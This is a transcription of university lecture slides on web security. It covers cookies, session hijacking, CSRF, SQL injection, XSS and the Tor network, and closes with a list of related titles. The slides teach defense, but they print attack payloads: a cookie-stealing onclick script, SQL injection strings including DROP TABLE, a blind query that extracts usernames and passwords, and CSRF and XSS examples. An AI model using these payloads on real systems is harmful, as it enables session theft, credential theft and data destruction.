Web Security. Web security problems
|
|
|
- Rudolph Booth
- 10 years ago
- Views:
Transcription
1 Web Security Information Security (bmevihim102) Dr. Levente Buttyán associate professor BME Híradástechnikai Tanszék Lab of Cryptography and System Security (CrySyS) problems securing transactions between the browser and the server authentication and communication security session hijacking attacks and defenses attacks targeting the server side SQL injection attacks targeting the client side Cross Site Scripting safe execution of mobile code (JavaScript, Java applets) client privacy * Note: this structuring is done only for the purpose of this lecture. 2 1
2 problems securing transactions between the browser and the server authentication and communication security session hijacking attacks and defenses attacks targeting the server side SQL injection attacks targeting the client side Cross Site Scripting safe execution of mobile code (JavaScript, Java applets) client privacy * Note: this structuring is done only for the purpose of this lecture. 3 Objectives of this lecture understand the basic operation of (and danger behind) the most common types of web based attacks cookie theft and HTTP session hijacking, SQL injection, Cross Site Scripting (XSS), Cross Site Request Forgery (CSRF) introduce some of the possible countermeasures and mitigation techniques input filtering, escaping, and sanitizing safe coding practices anonymous web transactions non-objective: providing a hacker tool-box (examples may not directly work) 4 2
3 Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 5 Managing HTTP sessions HTTP is stateless, however, many applications need to keep state across different HTTP requests (e.g., to store shopping cart content, user preferences, etc.) available approaches pass state information back and forth between the client and the server in cookies special URL strings hidden form fields keep state at the client side some browsers support persistent storage that can be accessed via scripts (e.g., window.name variable can store large amount of data via JavaScript) Adobe Flash Local Shared Objects a cached script uses the same static variables that can be used to identify a session 6 3
4 Cookies a cookie is a small piece of text stored on a user's computer by a web browser it consists of one or more name-value pairs it is sent as an HTTP header by a web server to a web browser and then sent back unchanged by the browser each time it accesses that server a cookie can store a session state (e.g., content of a shopping cart) in the name-value pairs or it can just store a session ID that refers to an entry in a session database at the server 7 Setting a cookie first time a browser requests a page from the server: GET /index.html HTTP/1.1 Host: the server replies by sending the requested page; the HTTP header may contain cookies sent by the server to be stored by the user: HTTP/ OK Content-type: text/html Set-Cookie: name=value (content of page) every subsequent page request to the same server will include the cookie: GET /spec.html HTTP/1.1 Host: Cookie: name=value cookies can also be set by JavaScript or similar scripts running within the browser (e.g., document.cookie = "temperature=20 ) 8 4
5 Cookie attributes name-value pair(s) may collapse the value of a number of variables in a single string, like a=12&b=abcd&c=32 expiration date tells the browser when to delete the cookie if no expiration date is provided, the cookie is deleted at the end of the user session (when quitting the browser) persistent cookies have an expiration date specified path and domain name tell the browser that the cookie has to be sent back to the server when requesting URLs of a given domain and path for security reasons, the cookie is accepted only if the server is a member of the domain specified by the domain string if not specified, the default is the domain and path of the object that was requested when this cookie was sent back flag that indicates if the cookie is intended only for encrypted connections 9 Cookie examples Name: datr Content: e6cf988526e88bc7fdfc3b83c6aef89a Domain:.facebook.com Path: / Send For: Any type of connection Expires: Friday, March 02, :49:09 PM Name: VISITOR_INFO1_LIVE Content: kv4aanixgw Domain:.youtube.com Path: / Send For: Any type of connection Expires: Friday, October 29, :15:33 AM 10 5
6 Session hijacking by cookie theft if connection is not encrypted, the cookie is sent in clear sensitive session information may be eavesdropped by an attacker, and used later to steal the session of the victim this problem can be solved by using TLS and setting the cookie such that it is sent only via encrypted connections however, a large number of websites, although using encrypted https communication for user authentication (i.e. the login page), subsequently send session cookies and other data over ordinary, unencrypted http connections for performance reasons 11 Session hijacking by cookie theft another way of stealing cookies is by malicious scripts executing in the browser scripting languages such as JavaScript and JScript are usually allowed to access cookie values and have some means to send arbitrary values to arbitrary servers on the Internet example: <a href="#" onclick = "window.location=' t='+escape(document.cookie); return false;">click here!</a> a solution could be to set the HttpOnly flag on the cookie that prevents scripts from accessing the cookie 12 6
7 Cross Site Request Forgery (CSRF) the attacker includes in a page a link or script that accesses a site to which a victim is known to have been authenticated (e.g., an Internet bank site) when the victim opens this page, the script is executed with the credentials and session state of the victim example: user Alice opened an Internet banking session at abank.com in parallel, she is also using a chat forum Bob posts a message that contains the following link: <img src = " when Alice views Bob s post, she also unintentionally sends a request to abank.com with the given parameters note: Alice s browser sends all current credentials and set cookies to abank.com 13 CSRF discussion affects web applications that perform actions based on input from trusted and authenticated users without requiring the user to authorize the specific action e.g., a user who is authenticated by a cookie saved in the user's web browser could unknowingly send an HTTP request together with the cookie to a site that trusts the user (by the cookie) and thereby causes an unwanted action unlike cross-site scripting (XSS), which exploits the trust a user has for a particular site, CSRF exploits the trust that a site has in a user's browser CSRF attacks using images are often made from Internet forums, where users are allowed to post images but not JavaScript 14 7
8 CSRF limitations the attacker must target a site that doesn't check the Referrer header (which is common) the Referrer in the previous example would point to the chat forum, and the bank could find this suspicious the attacker must find a form submission at the target site, or a URL that has side effects, that does something (e.g., transfers money, or changes the victim's address or password) the attacker must determine the right values for all the form's or URL's inputs: if any of them are required to be secret authentication values or IDs that the attacker can't guess, the attack will fail the attacker must lure the victim to a Web page with malicious code while the victim is logged in to the target site note that the attack is "blind": the attacker can't see what the target website sends back to the victim in response to the forged requests on the other hand, attack attempts are easy to mount and invisible to victims 15 Third party cookies and tracking cookies are sent only to the server setting them or a server in the same domain however, a web page may contain images or other components stored on third party servers (in other domains) cookies that are set during retrieval of these components are called third-party cookies A.com browser store cookie html page image + cookie for 3rdP.com <img src= 3rdP.com > 3rdP.com 16 8
9 Third party cookies and tracking advertising companies use third-party cookies to track a user across multiple sites in particular, an advertising company can track a user across all pages where it has placed advertising images when image is downloaded, cookie is sent cookie identifies the user Referrer field in the request header identifies the visited site knowledge of the pages visited by a user allows the advertisement company to target advertisement to the user's presumed preferences even if real user identity is not known, the user is profiled and receives customized information 17 Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 18 9
10 SQL injection modern web sites often build HTML responses dynamically from data stored in a database (relational DB, SQL queries) SQL injection refers to a family of techniques that maliciously exploit applications that use client-supplied data in SQL statements attacker tricks the SQL engine into executing unintended commands by supplying specially crafted string input as a result, the attacker gains unauthorized access to a database in order to view or manipulate restricted data specific techniques may differ, but they all exploit the same vulnerability in the application: incorrectly validated or non-validated string literals are concatenated into a dynamic SQL statement, and interpreted as code by the SQL engine 19 Simple SQL injection example assume that the server receives an address and a password pwd in the HTTP request, and uses them in the following dynamic SQL statement: statement := SELECT * FROM users WHERE Addr = AND Password = Pwd ; when executed, the server checks if the database returns a record or not; if so, the user is logged in e.g., when is [email protected] and pwd is kiskacsa, the following statement will be executed: SELECT * FROM users WHERE Addr = [email protected] AND Password = kiskacsa ; 20 10
11 Simple SQL injection example what if we supply the string OR 1=1; -- as the value for ? (pwd can be anything) the following statement will be executed: SELECT * FROM users WHERE Addr = OR 1=1; -- AND Password = xxx ; 21 Another classical example some SQL servers allow multiple statements to be executed with one call what if we supply the string xxx ; DROP TABLE users; -- as the value for ? the following statement will be executed: SELECT * FROM users WHERE Addr = xxx ; DROP TABLE users; -- AND Password = xxx ; 22 11
12 Types of SQL injection attacks first order injection the attacker enters a malicious string and causes the modified code to be executed immediately (see previous examples) second order injection the attacker injects into persistent storage (such as a table row) which is deemed as a trusted source; an attack can subsequently be executed by another activity blind attacks no data are directly returned to the attacker timing attacks use timing or other performance indicators to deduce the result (success or failure) of an attack 23 Second order SQL inj. example assume a server stores a database of users with their credit card number e.g., table users has a UserName and a CC_Number column, and user names are assumed to be unique users are allowed to access, review and perhaps modify their profile after authentication the following dynamic SQL statement may be executed statement := SELECT CC_Number FROM users WHERE UserName = uname ; where uname is a user name retrieved from the database based on some authenticated ID 24 12
13 Second order SQL inj. example what if an attacker registers under the name xxx OR UserName = John Victim? when the attacker reviews his own profile, the following statement will be executed: SELECT CC_Number FROM users WHERE UserName = xxx OR UserName = John Victim ; this will return the credit card number of John Victim to the attacker 25 Blind attacks a web application may be vulnerable to an SQL injection but the results of the injection are not directly visible to the attacker yet, the page may display differently depending on the results of some logical statement injected 1 bit of information a new statement must be crafted for each bit recovered time intensive attack typical test: URL: compare the results returned for and 1=1 and 1=2 if they differ, then the site is vulnerable to blind SQL injection attacks, as you can use the site as an oracle to reveal the truth value of crafted logical statements 26 13
14 Blind SQL injection examples get the version of MySQL: test for version 4: and test for version 5: and check if a table called users exists: call this: and (select 1 from users limit 0,1)=1 if table users exists, then condition is TRUE and page displays normally otherwise condition is FALSE and page displays differently 27 More blind SQL injection examples deduce information from the database assume that you figured out that table users has columns called username and password then try this: and ascii(substring((select concat(username,0x3a,password) from users limit 0,1),1,1))>80 where SELECT concat(username,0x3a,password) from users limit 0,1 returns the username and password of the first user in table users substring(str,1,1) returns the first character of str ascii(char) returns the ASCII code of char > is the greater than symbol if page displays normally, than the ASCII code of the first character of the username is greater than 80 keep trying and ascii(substring((select concat(username,0x3a,password) from users limit X,Y),A,B))&<comp>;C 28 14
15 Timing attacks special type of blind SQL injection that causes the SQL engine to execute a long running query or a time delay statement depending on the logical value injected the attacker can then measure the time the page takes to load to determine if the injected statement is true example: if (select 1 from users)=1 waitfor delay '0:0: Countermeasures proper setting of access rights to the database e.g., allow only SELECT operation, etc use parameterized statements placeholders, bind arguments filter and sanitize input escaping special characters, conforming to naming conventions, avoid dynamic SQL use static SQL statement text (unless you cannot) static SQL statements cannot change at run time, and hence, they are not vulnerable to SQL injection attacks 30 15
16 Parameterized statements with most platforms, parameterized statements can be used that work with parameters (sometimes called placeholders or bind variables) instead of embedding user input directly in the statement example: instead of concatenating user input like this: v_stmt := 'SELECT name, salary FROM employees ' 'WHERE department_name = ''' p_department_name ''''; EXECUTE IMMEDIATE v_stmt; use placeholders: v_stmt := 'SELECT name, salary FROM employees ' 'WHERE department_name = :1'; EXECUTE IMMEDIATE v_stmt USING p_department_name; 31 Another example (in PHP) $db = new PDO('pgsql:dbname=database'); $stmt = $db->prepare("select priv FROM testusers WHERE username=:username AND password=:password"); $stmt->bindparam(':username', $user); $stmt->bindparam(':password', $pass); $stmt->execute(); 32 16
17 Filter and sanitize input with most platforms, a special library of functions is available that filter and sanitize input strings in order to eliminate potentially harmful SQL commands in them examples Oracle: FUNCTION name_elided (LAYER VARCHAR2, OWNER VARCHAR2, FIELD VARCHAR2) RETURN BOOLEAN IS CRS INTEGER; BEGIN CRS := DBMS_SQL.OPEN_CURSOR; DBMS_SQL.PARSE(CRS, 'select sys.dbms_assert.simple_sql_name(field) ' from ' sys.dbms_assert.simple_sql_name(owner) '.' sys.dbms_assert.simple_sql_name(layer) '_elided', DBMS_SQL.NATIVE); MySQL/PHP: $query = sprintf("select * FROM Users where UserName='%s' and Password='%s'", mysql_real_escape_string($username), mysql_real_escape_string($password)); 33 Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 34 17
18 Cross-site scripting (XSS) XSS a malicious attacker can inject a (client-side) script into a web page that is also viewed by other users when another user views the page, she also downloads and executes the malicious script XSS exploits the trust that the victim has in the (owner of the) visited web site; unfortunately, if the site is vulnerable to XSS, then this trust should not be transferred to the site s content XSS vulnerabilities have been reported and exploited since the 1990s, but recently XSS has become the top security vulnerability roughly 80% of all security vulnerabilities today are XSS vulnerabilities prominent sites (Google, Yahoo!, Facebook, MySpace, Wikipedia, ) have also been affected in the past 35 Persistent (stored) XSS data (script) provided by the attacker is saved by the server, and then permanently displayed on normal pages returned to other users in the course of regular browsing without proper HTML escaping classical example: online message boards where users are allowed to post HTML formatted messages (including scripts) for other users to read in the case of social networking sites, the code could be further designed to self-propagate across accounts, creating a type of a client-side worm attacker inject script A.com victim s browser render page execute script html page with injected script 36 18
19 Non-persistent (reflected) XSS data provided by a web client (most commonly in HTTP query parameters or in HTML form submissions) is used immediately by server-side scripts to generate a page for that user without properly sanitizing the response classical example: search engines return the search string along with the search result, and both are displayed by the client s browser is this really a problem? yes, it is: an attacker may easily place hidden frames or deceptive links on unrelated sites and cause the victims' browsers to navigate to URLs on the vulnerable site automatically often completely in the background anysite victim s browser attacker process html call site mysearch render response execute script html page with hidden frame send script as parameter return page with script mysearch <HTML> <iframe src = search.pl?text=<script> </scrip t> allowtransparency="true"> 37 XSS mitigation validate and reject undesirable characters in input fields escape all untrusted input data before outputting it using a method appropriate for the output context HTML numeric entity encoding (<script> <script>) JavaScript escaping (<script> %3Cscript%3E) URL (or percent) encoding (e.g., < %3C, > %3E, ) CSS escaping disabling scripts some browsers or browser plugins can be configured to disable client-side scripts on a per-domain basis default should be block all, and user should be able to enable scripts from specific domains examples: IE Security Zones, Mozilla NoScript add-on 38 19
20 Lecture outline securing HTTP sessions SQL injection Cross Site Scripting Anonymous web transactions 39 Basic anonymity concepts What do we want to hide? sender anonymity attacker cannot determine who the sender of a particular message is receiver anonymity attacker cannot determine who the intended receiver of a particular message is unlinkability attacker may determine senders and receivers but not the associations between them (attacker doesn t know who communicates with whom) From whom do we want to hide this? external attackers local eavesdropper (sniffing on a particular link (e.g., LAN)) global eavesdropper (observing traffic in the whole network) internal attackers (colluding) compromised elements of the anonymity system communication partner 40 20
21 Anonymizing proxy application level proxy that relays messages back and forth between a user and a service provider properties: ensures only sender anonymity with respect to the communicating partner (service provider does not know who the real user is) a local eavesdropper near the proxy and a global eavesdropper can see both the sender and the receiver information proxy needs to be trusted for not leaking information (it may be coerced by law enforcement agencies!) even if the communication between the user and the proxy, as well as between the proxy and the server is encrypted, a naïve implementation would have the same properties (weaknesses) 41 MIXes a MIX is a proxy that relays messages between communicating partners such that it changes encoding of messages batches incoming messages before outputting them changes order of messages when outputting them (may output dummy messages) MIX MIX properties: sender anonymity w.r.t. communication partner unlinkability w.r.t. global (and hence local) eavesdroppers the MIX still needs to be trusted 42 21
22 MIX cascade (network) defense against colluding compromised MIXes if a single MIX behaves correctly, unlinkability is still achieved MIX MIX MIX MIX MIX MIX 43 The Tor network Tor is a low-latency (real-time) mix-based anonymous communication service the Tor network is an overlay network consisting of onion routers (OR) ORs are user-level processes operated by volunteers in the Internet a few special directory servers keep track of the ORs in the network each OR has a descriptor (keys, address, bandwidth, exit policy, etc.) each OR maintains a TLS connection to all other ORs users run an onion proxy (OP) locally, which establishes virtual circuits across the Tor network, and multiplexes TCP streams coming from applications over those virtual circuits the last OR in a circuit connects to the requested destination and behaves as if it was the originator of the traffic 44 22
23 The Tor network illustrated circuit TCP stream destination Appl TLS connections initiator OR Appl OP 45 Cells data within the Tor network are carried in fixed sized cells (512 bytes) cell types control cells used to manage (set up and destroy) circuits CircID Cmd DATA relay cells used to manage (extend and truncate) circuits, to manage (open and close) streams, and to carry end-to-end stream data CircID Rly StreamID Digest Length Cmd DATA 46 23
24 Setting up a circuit circuits are shared by multiple TCP streams they are established in the background OPs can recover from failed circuit creation attempts without harming user experience OPs rotate to a new circuit once a minute a circuit is established incrementally, in a telescoping manner a circuit is established to the first OR on the selected path by setting up a shared key between the OP and that OR this circuit is extended to the next OR by setting up a shared key with that OR; this already uses the circuit established in the previous step and so on OP OR OR OR 47 Establishment of shared keys Diffie-Hellman based protocol: OP OR: E PK_OR (g x ) OR OP: g y H(K handshake ) where K is the established key g xy properties: unilateral entity authentication (OP knows that it is talking to OR, but not vice versa) unilateral key authentication (OP knows that only OR knows the key) key freshness (due to the fresh DH contributions of the parties) perfect forward secrecy (assuming that OR deletes the shared key K when it is no longer used) if OR is later compromised, it cannot be used to decrypt old (recorded) traffic 48 24
25 Relaying cells on circuits application data is sent in relay cells OP encrypts the cell iteratively with all the keys that it shares with the ORs on the path (onion-like layered encryption) each OR peals off one layer of encryption last OR sends cleartext data to the destination on the way back, each OR encrypts the cell (adds one layer), and the OP removes all encryptions AES is used in CTR mode (stream cipher) encryption does not change the length 49 Opening and closing streams opening: the TCP connection request from the application is re-directed to the local OP (via SOCKS) OP chooses an open circuit (the newest one), and an appropriate OR to be the exit node (usually the last OR, but maybe another due to exit policy conflicts) OP opens the stream by sending a relay begin cell to the exit OR the exit OR connects to the given destination host, and responds with a relay connected cell the OP informs the application (via SOCKS) that it is now ready to accept the TCP stream OP receives the TCP stream, packages it into relay data cells, and sends those cells through the circuit closing: OP or exit OR sends a relay end cell to the other party, which responds with its own relay end cell 50 25
26 Operation illustrated OP OR 1 OR 2 website C 1, Create, E(g X1 ) C 1, Created, g Y1, H(K 1 ) C 1, Relay, {, Extend, OR 2, E(g X2 )} K1 C 1, Relay, {, Extended, g Y2, H(K 2 )} K1 C 2, Create, E(g X2 ) C 2, Created, g Y2, H(K 2 ) C 1, Relay, {{, Begin, website} K2 } K1 C 1, Relay, {{, Connected} K2 } K1 C 2, Relay, {, Begin, website} K2 C 2, Relay, {, Connected} K2 TCP handshake C 1, Relay, {{, Data, HTTP Get } K2 } K1 C 1, Relay, {{, Data, HTTP } K2 } K1 C 2, Relay, {, Data, HTTP Get } K2 C 2, Relay, {, Data, HTTP } K2 HTTP Get HTTP 51 Exit policies problem: hackers can launch their attacks via the Tor network no easy way to identify the real origin of the attacks exit nodes can be accused this can discourage volunteers to participate in the Tor network fewer ORs means lower level of anonymity solution: each OR has an exit policy specifies to which external addresses and ports the node will connect examples: open exit such nodes will connect anywhere middleman such nodes only relay traffic to other Tor nodes private exit only connect to the local host or network restricted exit prevent access to certain abuse-prone addresses and services (e.g., SMTP) 52 26
27 Rendez-vous and hidden services Tor allows someone to offer a TCP-based service anonymously (without revealing his IP address to the world) the server s OP chooses some ORs as introduction points and builds a circuit to each of these introduction points the service provider advertises his service and the related introduction points by some anonymous directory service the client s OP chooses an OR as the rendez-vous point, builds a circuit to the rendez-vous point, and gives it a random rendez-vous cookie the client OP builds a circuit to one of the service introduction points, opens an anonymous stream to the server, and sends the cookie and a reference to the rendez-vous point the server OP builds a circuit to the given rendez-vous point and sends the cookie the rendez-vous point verifies the cookie and connects the client circuit to the server circuit the client establishes an anonymous stream through the new circuit 53 Rendez-vous illustrated introduction point hidden service OP Appl cookie OR initiator TLS connections cookie Appl OP introduction point rendez-vous point (cookie) 54 27
28 Some attacks end-to-end timing (or size) correlation an attacker watching traffic patterns at the initiator and the responder will be able to confirm the correspondence with high probability it was not the goal of Tor to prevent this website fingerprinting an attacker can build up a database containing file sizes and access patterns for targeted websites he can later confirm a user s connection to a given website by observing the traffic at the user s side and consulting the database in case of Tor, granularity of fingerprinting is limited by the cell size tagging attacks an attacker can tag a cell by altering it, and observing where the garbled content comes out of the network integrity protection of cells prevent this 55 What is Tor good for? anonymous web browsing anonymous anonymous remote electronic voting carrying out malicious activity anonymously we installed a Tor OR and ran it for 72 hours we could observe 2216 sessions in clear (where our OR was the exit router) where a password was transmitted (most probably on-line password guessing attempts) some statistics: allotracker.com: 1285 yahoo.com 59 games.amil.ru 18 tracker.zamunda.net 140 nntp: 25 http: 1900 pop3: 286 other:
29 Summary web based vulnerabilities dominate the list of all reported vulnerabilities attackers target end-users and aim for financial gain attackers are organized and established an underground economy where they trade assets ( addresses, accounts, credit card numbers, ) main web security problems session management, session hijacking (authentication methods, cookie theft, cross site request forgery, third party cookies and tracking users) SQL injection (filtering and sanitizing input, safe coding practices) Cross Site Scripting (sanitizing server output) privacy of web transactions (mix networks, e.g., Tor) 57 29
Web security problems*
Web Security Information Security (bmevihim100) Dr. Levente Buttyán associate professor BME Híradástechnikai Tanszék Lab of Cryptography and System Security (CrySyS) [email protected], [email protected]
1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications
1. Introduction 2. Web Application 3. Components 4. Common Vulnerabilities 5. Improving security in Web applications 2 What does World Wide Web security mean? Webmasters=> confidence that their site won
FINAL DoIT 11.03.2015 - v.4 PAYMENT CARD INDUSTRY DATA SECURITY STANDARDS APPLICATION DEVELOPMENT AND MAINTENANCE PROCEDURES
Purpose: The Department of Information Technology (DoIT) is committed to developing secure applications. DoIT s System Development Methodology (SDM) and Application Development requirements ensure that
Criteria for web application security check. Version 2015.1
Criteria for web application security check Version 2015.1 i Content Introduction... iii ISC- P- 001 ISC- P- 001.1 ISC- P- 001.2 ISC- P- 001.3 ISC- P- 001.4 ISC- P- 001.5 ISC- P- 001.6 ISC- P- 001.7 ISC-
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security
Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security Presented 2009-05-29 by David Strauss Thinking Securely Security is a process, not
Check list for web developers
Check list for web developers Requirement Yes No Remarks 1. Input Validation 1.1) Have you done input validation for all the user inputs using white listing and/or sanitization? 1.2) Does the input validation
Web application security
Web application security Sebastian Lopienski CERN Computer Security Team openlab and summer lectures 2010 (non-web question) Is this OK? int set_non_root_uid(int uid) { // making sure that uid is not 0
Where every interaction matters.
Where every interaction matters. Peer 1 Vigilant Web Application Firewall Powered by Alert Logic The Open Web Application Security Project (OWASP) Top Ten Web Security Risks and Countermeasures White Paper
Introduction to Computer Security
Introduction to Computer Security Web Application Security Pavel Laskov Wilhelm Schickard Institute for Computer Science Modern threat landscape The majority of modern vulnerabilities are found in web
Cyber Security Workshop Ethical Web Hacking
Cyber Security Workshop Ethical Web Hacking May 2015 Setting up WebGoat and Burp Suite Hacking Challenges in WebGoat Concepts in Web Technologies and Ethical Hacking 1 P a g e Downloading WebGoat and Burp
Sitefinity Security and Best Practices
Sitefinity Security and Best Practices Table of Contents Overview The Ten Most Critical Web Application Security Risks Injection Cross-Site-Scripting (XSS) Broken Authentication and Session Management
Web Application Guidelines
Web Application Guidelines Web applications have become one of the most important topics in the security field. This is for several reasons: It can be simple for anyone to create working code without security
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith
A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications Slides by Connor Schnaith Cross-Site Request Forgery One-click attack, session riding Recorded since 2001 Fourth out of top 25 most
Security features of ZK Framework
1 Security features of ZK Framework This document provides a brief overview of security concerns related to JavaScript powered enterprise web application in general and how ZK built-in features secures
What is Web Security? Motivation
[email protected] http://www.brucker.ch/ Information Security ETH Zürich Zürich, Switzerland Information Security Fundamentals March 23, 2004 The End Users View The Server Providers View What is Web
1. What is SQL Injection?
SQL Injection 1. What is SQL Injection?...2 2. Forms of vulnerability...3 2.1. Incorrectly filtered escape characters...3 2.2. Incorrect type handling...3 2.3. Vulnerabilities inside the database server...4
Web applications. Web security: web basics. HTTP requests. URLs. GET request. Myrto Arapinis School of Informatics University of Edinburgh
Web applications Web security: web basics Myrto Arapinis School of Informatics University of Edinburgh HTTP March 19, 2015 Client Server Database (HTML, JavaScript) (PHP) (SQL) 1 / 24 2 / 24 URLs HTTP
Advanced Web Technology 10) XSS, CSRF and SQL Injection 2
Berner Fachhochschule, Technik und Informatik Advanced Web Technology 10) XSS, CSRF and SQL Injection Dr. E. Benoist Fall Semester 2010/2011 Table of Contents Cross Site Request Forgery - CSRF Presentation
Web-Application Security
Web-Application Security Kristian Beilke Arbeitsgruppe Sichere Identität Fachbereich Mathematik und Informatik Freie Universität Berlin 29. Juni 2011 Overview Web Applications SQL Injection XSS Bad Practice
Hack Proof Your Webapps
Hack Proof Your Webapps About ERM About the speaker Web Application Security Expert Enterprise Risk Management, Inc. Background Web Development and System Administration Florida International University
WHITE PAPER. FortiWeb and the OWASP Top 10 Mitigating the most dangerous application security threats
WHITE PAPER FortiWeb and the OWASP Top 10 PAGE 2 Introduction The Open Web Application Security project (OWASP) Top Ten provides a powerful awareness document for web application security. The OWASP Top
Web Application Security
Web Application Security John Zaharopoulos ITS - Security 10/9/2012 1 Web App Security Trends Web 2.0 Dynamic Webpages Growth of Ajax / Client side Javascript Hardening of OSes Secure by default Auto-patching
Web Application Security Considerations
Web Application Security Considerations Eric Peele, Kevin Gainey International Field Directors & Technology Conference 2006 May 21 24, 2006 RTI International is a trade name of Research Triangle Institute
Detecting Web Application Vulnerabilities Using Open Source Means. OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008
Detecting Web Application Vulnerabilities Using Open Source Means OWASP 3rd Free / Libre / Open Source Software (FLOSS) Conference 27/5/2008 Kostas Papapanagiotou Committee Member OWASP Greek Chapter [email protected]
Web Application Security. Vulnerabilities, Weakness and Countermeasures. Massimo Cotelli CISSP. Secure
Vulnerabilities, Weakness and Countermeasures Massimo Cotelli CISSP Secure : Goal of This Talk Security awareness purpose Know the Web Application vulnerabilities Understand the impacts and consequences
Secure development and the SDLC. Presented By Jerry Hoff @jerryhoff
Secure development and the SDLC Presented By Jerry Hoff @jerryhoff Agenda Part 1: The Big Picture Part 2: Web Attacks Part 3: Secure Development Part 4: Organizational Defense Part 1: The Big Picture Non
Recommended Practice Case Study: Cross-Site Scripting. February 2007
Recommended Practice Case Study: Cross-Site Scripting February 2007 iii ACKNOWLEDGEMENT This document was developed for the U.S. Department of Homeland Security to provide guidance for control system cyber
Magento Security and Vulnerabilities. Roman Stepanov
Magento Security and Vulnerabilities Roman Stepanov http://ice.eltrino.com/ Table of contents Introduction Open Web Application Security Project OWASP TOP 10 List Common issues in Magento A1 Injection
HTTP. Internet Engineering. Fall 2015. Bahador Bakhshi CE & IT Department, Amirkabir University of Technology
HTTP Internet Engineering Fall 2015 Bahador Bakhshi CE & IT Department, Amirkabir University of Technology Questions Q1) How do web server and client browser talk to each other? Q1.1) What is the common
Network Security Exercise #8
Computer and Communication Systems Lehrstuhl für Technische Informatik Network Security Exercise #8 Falko Dressler and Christoph Sommer Computer and Communication Systems Institute of Computer Science,
Last update: February 23, 2004
Last update: February 23, 2004 Web Security Glossary The Web Security Glossary is an alphabetical index of terms and terminology relating to web application security. The purpose of the Glossary is to
Web Application Security Assessment and Vulnerability Mitigation Tests
White paper BMC Remedy Action Request System 7.6.04 Web Application Security Assessment and Vulnerability Mitigation Tests January 2011 www.bmc.com Contacting BMC Software You can access the BMC Software
Project 2: Web Security Pitfalls
EECS 388 September 19, 2014 Intro to Computer Security Project 2: Web Security Pitfalls Project 2: Web Security Pitfalls This project is due on Thursday, October 9 at 6 p.m. and counts for 8% of your course
An Insight into Cookie Security
An Insight into Cookie Security Today most websites and web based applications use cookies. Cookies are primarily used by the web server to track an authenticated user or other user specific details. This
External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION
External Vulnerability Assessment -Technical Summary- Prepared for: ABC ORGANIZATI On March 9, 2008 Prepared by: AOS Security Solutions 1 of 13 Table of Contents Executive Summary... 3 Discovered Security
Enterprise Application Security Workshop Series
Enterprise Application Security Workshop Series Phone 877-697-2434 fax 877-697-2434 www.thesagegrp.com Defending JAVA Applications (3 Days) In The Sage Group s Defending JAVA Applications workshop, participants
Testing the OWASP Top 10 Security Issues
Testing the OWASP Top 10 Security Issues Andy Tinkham & Zach Bergman, Magenic Technologies Contact Us 1600 Utica Avenue South, Suite 800 St. Louis Park, MN 55416 1 (877)-277-1044 [email protected] Who Are
How to break in. Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering
How to break in Tecniche avanzate di pen testing in ambito Web Application, Internal Network and Social Engineering Time Agenda Agenda Item 9:30 10:00 Introduction 10:00 10:45 Web Application Penetration
OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair dave.wichers@owasp.
and Top 10 (2007 Update) Dave Wichers The Foundation Conferences Chair [email protected] COO, Aspect Security [email protected] Copyright 2007 - The Foundation This work is available
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY
WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY www.alliancetechpartners.com WEB SECURITY CONCERNS THAT WEB VULNERABILITY SCANNING CAN IDENTIFY More than 70% of all websites have vulnerabilities
Cross-Site Scripting
Cross-Site Scripting (XSS) Computer and Network Security Seminar Fabrice Bodmer ([email protected]) UNIFR - Winter Semester 2006-2007 XSS: Table of contents What is Cross-Site Scripting (XSS)? Some
Proxies. Chapter 4. Network & Security Gildas Avoine
Proxies Chapter 4 Network & Security Gildas Avoine SUMMARY OF CHAPTER 4 Generalities Forward Proxies Reverse Proxies Open Proxies Conclusion GENERALITIES Generalities Forward Proxies Reverse Proxies Open
1.5.5 Cookie Analysis
1.5.5 Cookie Analysis As part of the first audit, Facebook were asked to provide an explanation of the purpose of each of the identified cookies. The information provided at the time has been reviewed
Still Aren't Doing. Frank Kim
Ten Things Web Developers Still Aren't Doing Frank Kim Think Security Consulting Background Frank Kim Consultant, Think Security Consulting Security in the SDLC SANS Author & Instructor DEV541 Secure Coding
Lecture 11 Web Application Security (part 1)
Lecture 11 Web Application Security (part 1) Computer and Network Security 4th of January 2016 Computer Science and Engineering Department CSE Dep, ACS, UPB Lecture 11, Web Application Security (part 1)
Advanced Web Security, Lab
Advanced Web Security, Lab Web Server Security: Attacking and Defending November 13, 2013 Read this earlier than one day before the lab! Note that you will not have any internet access during the lab,
Protecting Web Applications and Users
Protecting Web Applications and Users Technical guidance for improving web application security through implementing web browser based mitigations. Defence Signals Directorate February 2012 Contents 1
EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke
EVALUATING COMMERCIAL WEB APPLICATION SECURITY By Aaron Parke Outline Project background What and why? Targeted sites Testing process Burp s findings Technical talk My findings and thoughts Questions Project
Essential IT Security Testing
Essential IT Security Testing Application Security Testing for System Testers By Andrew Muller Director of Ionize Who is this guy? IT Security consultant to the stars Member of OWASP Member of IT-012-04
Kentico CMS security facts
Kentico CMS security facts ELSE 1 www.kentico.com Preface The document provides the reader an overview of how security is handled by Kentico CMS. It does not give a full list of all possibilities in the
Secure Web Development Teaching Modules 1. Threat Assessment
Secure Web Development Teaching Modules 1 Threat Assessment Contents 1 Concepts... 1 1.1 Software Assurance Maturity Model... 1 1.2 Security practices for construction... 3 1.3 Web application security
Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins
Recon and Mapping Tools and Exploitation Tools in SamuraiWTF Report section Nick Robbins During initial stages of penetration testing it is essential to build a strong information foundation before you
Computer security Lecture 10. Web security, Mobile security
